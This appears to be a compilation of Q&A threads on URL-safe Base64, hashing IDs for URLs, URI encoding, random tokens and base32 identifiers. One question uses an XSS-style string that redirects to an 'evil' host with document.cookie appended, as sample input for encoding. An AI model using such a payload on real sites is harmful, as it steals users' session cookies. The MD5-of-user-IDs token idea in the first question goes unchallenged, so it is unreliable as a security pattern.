I am creating a re-director of sorts in nodejs. I have a few values like
userid // superid
these I would like to hash to prevent users from retrieving the url and faking someone else's url and also base64 encode to minimize the length of the url created.
http://myurl.com/~hashedtoken
where un-hashed hashtoken could be something like this
55q322q23
55 = userid
I thought about using crypto library like so:
crypto.createHash('md5').update("55q322q23").digest("base64");
which returns: u/mxNJQaSs2HYJ5wirEZOQ==
The problem here is that I have the / which is not considered websafe so I would like to strip the un-safe letters from the base64 list of letters, somehow. Any ideas about this or perhaps a better solution to the problem at hand?
You could use a so called URL safe variant of Base64. The most common variant, described in RFC 4648, uses - and _ instead of + and / respectively, and omits padding characters (=).
Most implementations of Base64 support this URL safe variant too, though if yours doesn't, it's easy enough to do manually.
Here's what I used. Comments welcome :-)
The important bit is buffer.toString('base64'), then URL-safeing that base64 string with a couple of replace()s.
function newId() {
// Get random string with 20 bytes secure randomness
var crypto = require('crypto');
var id = crypto.randomBytes(20).toString('base64');
// Make URL safe
return id.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Based on the implementation here.
Makes a string safe for URL's and local email addresses (before the #).
Related
I am looking for a way to covert a given string into an alphanumeric hash. The code will be executed on the client-side and must be entirely in vanilla JS or jQuery at the most.
Is there, however, also a non-cryptographic hash, i.e. just a string of alphanumerics that does not require crypto and Promises? I need both, i.e. a cryptographic as well as a non-cryptographic hash.
The second hash can be an ordinary string of alphanumerics, say 10 characters long. It should be recoverable, i.e. the same hash should be recreated always for a given string. It would be better if this second hash is not generated asynchronously (i.e. using Promises). I intend to use it as a key for a boolean in window.localStorage (for many different strings).
Final answers:
Crypto JS
bcrypt.js
Fast low-collision non-crypto hash in JavaScript for
Files
Modern browsers provide cryptographic algorithms implementation via window.crypto object. You can look at what "modern" means in this case by this link (at the bottom). If you are fine with supported browsers list, then you can reach your goal for example like this:
async function hash(target){
var buffer = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(target));
var chars = Array.prototype.map.call(new Uint8Array(buffer), ch => String.fromCharCode(ch)).join('');
return btoa(chars);
};
It will hash your string (bytes of its utf-8 encoding) with SHA-256 and then convert result to base64.
Note that if you don't need cryptographically strong hash (you didn't clarify the purpose) - then there might be better (faster) alternatives.
I encoded the query string below with the forURIComponent method of the OWASP encoder.
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery, and the decoded string should be exactly equal to the original query. How can I do this?
I assume you're talking about the OWASP Java Encoder. As far as I can tell, it does not supply any decoding functions.
However, since the Encode.forUriComponent() method implements standard URL percent encoding, you can use any correctly implemented URL decoding function to decode it. For example in Java, according to the answers to this question, you could use java.net.URLDecoder.
In JavaScript, decodeURIComponent() should do the trick. If you need to parse a URI containing (possibly) multiple parameters, however, you may find the URL class (or URLSearchParams) more convenient to use.
What is the best way to attach URL to query string in javascript? I realize that it needs to be encoded.
I've come across encodeURIComponent() function, which looks like the thing that I want. I am just unsure if it is suitable for this kind of task.
Example usage:
var someURL = encodeURIComponent("http://stackoverflow.com/questions/ask?name=.hil#");
var firstURL = "www.stackoverflow.com/questions?someurl="
firstURL+someURL;
Your choices are encodeURI and encodeURIComponent.
encodeURIComponent is the right choice because you are encoding part of the URL (which happens to be URL-like but that doesn't matter here).
If you were to use encodeURI, it would not convert enough of the characters in the component.
i have the following code, based on http://nodejs.org/docs/v0.6.9/api/crypto.html#randomBytes
crypto.randomBytes 32, (ex, buf) ->
user.tokenString = buf.toString("hex")
user.tokenExpires = Date.now() + TOKEN_TIME
next()
i am using this to generate a tokenString to use for a node.js/express user validation.
in some cases the tokenString generated includes '/' forward slash character, and this breaks my routes, for example, tokenString if the tokenString is like '$2a$10$OYJn2r/Ts.guyWqx7iJTwO8cij80m.uIQV9nJgTt18nqu8lT8OqPe' it can't find /user/activate/$2a$10$OYJn2r and i get an 404 error
is there a more direct way to exclude certain characters from being included when generating the crypto.randomBytes?
Crypto.randomBytes generates random bytes . That has nothing to do with characters, characters are determined by the way we look at the bytes.
For example:
user.tokenString = buf.toString("hex")
Would convert the buffer to a string (where two characters represent each byte), in the character range 0-9a-f
Another (might be more suiting approach is to use a more compact encoding. Base64Url is an encoding that provides string encoding that is URL/Filename safe
user.tokenString = base64url(buf)
Here is an NPM package you can use for it.
Other than that, your code seems fine. If you were to call .toString() without specifying "hex" or specifying something like "ascii" for example, it would break just like in your question description.
I'd like to write some IDs for use in URLs in Crockford's base32. I'm using the base32 npm module.
So, for example, if the user types in http://domain/page/4A2A I'd like it to map to the same underlying ID as http://domain/page/4a2a
This is because I want human-friendly URLs, where the user doesn't have to worry about the difference between upper- and lower-case letters, or between "l" and "1" - they just get the page they expect.
But I'm struggling to implement this, basically because I'm too dim to understand how encoding works. First I tried:
var encoded1 = base32.encode('4a2a');
var encoded2 = base32.encode('4A2A');
console.log(encoded1, encoded2);
But they map to different underlying IDs:
6hgk4r8 6h0k4g8
OK, so maybe I need to use decode?
var encoded1 = base32.decode('4a2a');
var encoded2 = base32.decode('4A2A');
console.log(encoded1, encoded2);
No, that just gives me empty strings:
" "
What am I doing wrong, and how can I get 4A2A and 4A2A to map to the same thing?
For an incoming request, you'll want to decode the URL fragment. When you create URLs, you will take your identifier and encode it. So, given a URL http://domain/page/dnwnyub46m50, you will take that fragment and decode it. Example:
#> echo 'dnwnyub46m50'| base32 -d
my_id5
The library you linked to is case-insensitive, so you get the same result this way:
echo 'DNWNYUB46M50'| base32 -d
my_id5
When dealing with any encoding scheme (Base-16/32/64), you have two basic operations: encode, which works on a raw stream of bits/bytes, and decode which takes an encoded set of bytes and returns the original bit/byte stream. The Wikipedia page on Base32 encoding is a great resource.
When you decode a string, you get raw bytes: it may be that those bytes are not compatible with ASCII, UTF-8, or some other encoding which you are trying to work with. This is why your decoded examples look like spaces: the tools you are using do not recognize the resulting bytes as valid characters.
How you go about encoding identifiers depends on how your identifiers are generated. You didn't say how you were generating the underlying identifiers, so I can't make any assumptions about how you should handle the raw bytes that come out of the decoder, nor about the content of the raw bytes being passed into the encoder.
It's also important to mention that the library you linked to is not compatible with Crockford's Base32 encoding. The library excludes I, L, O, S, while Crockford's encoding excludes I, L, O, U. This would be a problem if you were trying to interoperate with another system that used a different library. If no one besides you will ever need to decode your URL fragments, then interoperability doesn't matter.
The source of your confusion is that a base64 or base32 are methods of representing numbers- whereas you are attempting in your examples to encode or decode text strings.
Encoding and decoding text strings as base32 is done by first converting the string into a large number. In your first examples, where you are encoding "4a2a" and "4A2A", those are strings with two different numeric values, that consequently translate to encoded base32 numbers with two different values, 6hgk4r8 6h0k4g8
when you "decode" 4a2a and 4A2A you say you get empty strings. However this is not true, the strings are not empty, they contain what the decoded number looks like, when interpreted as a string. Which is to say, it looks like nothing because 4a2a produces an unprintable character. It's invisible. What you want is to feed the encoder numbers, not strings.
JavaScript has
parseInt(num, 32)
and
num.toString(32)
built in in a way that's compatible with Java and across JavaScript versions.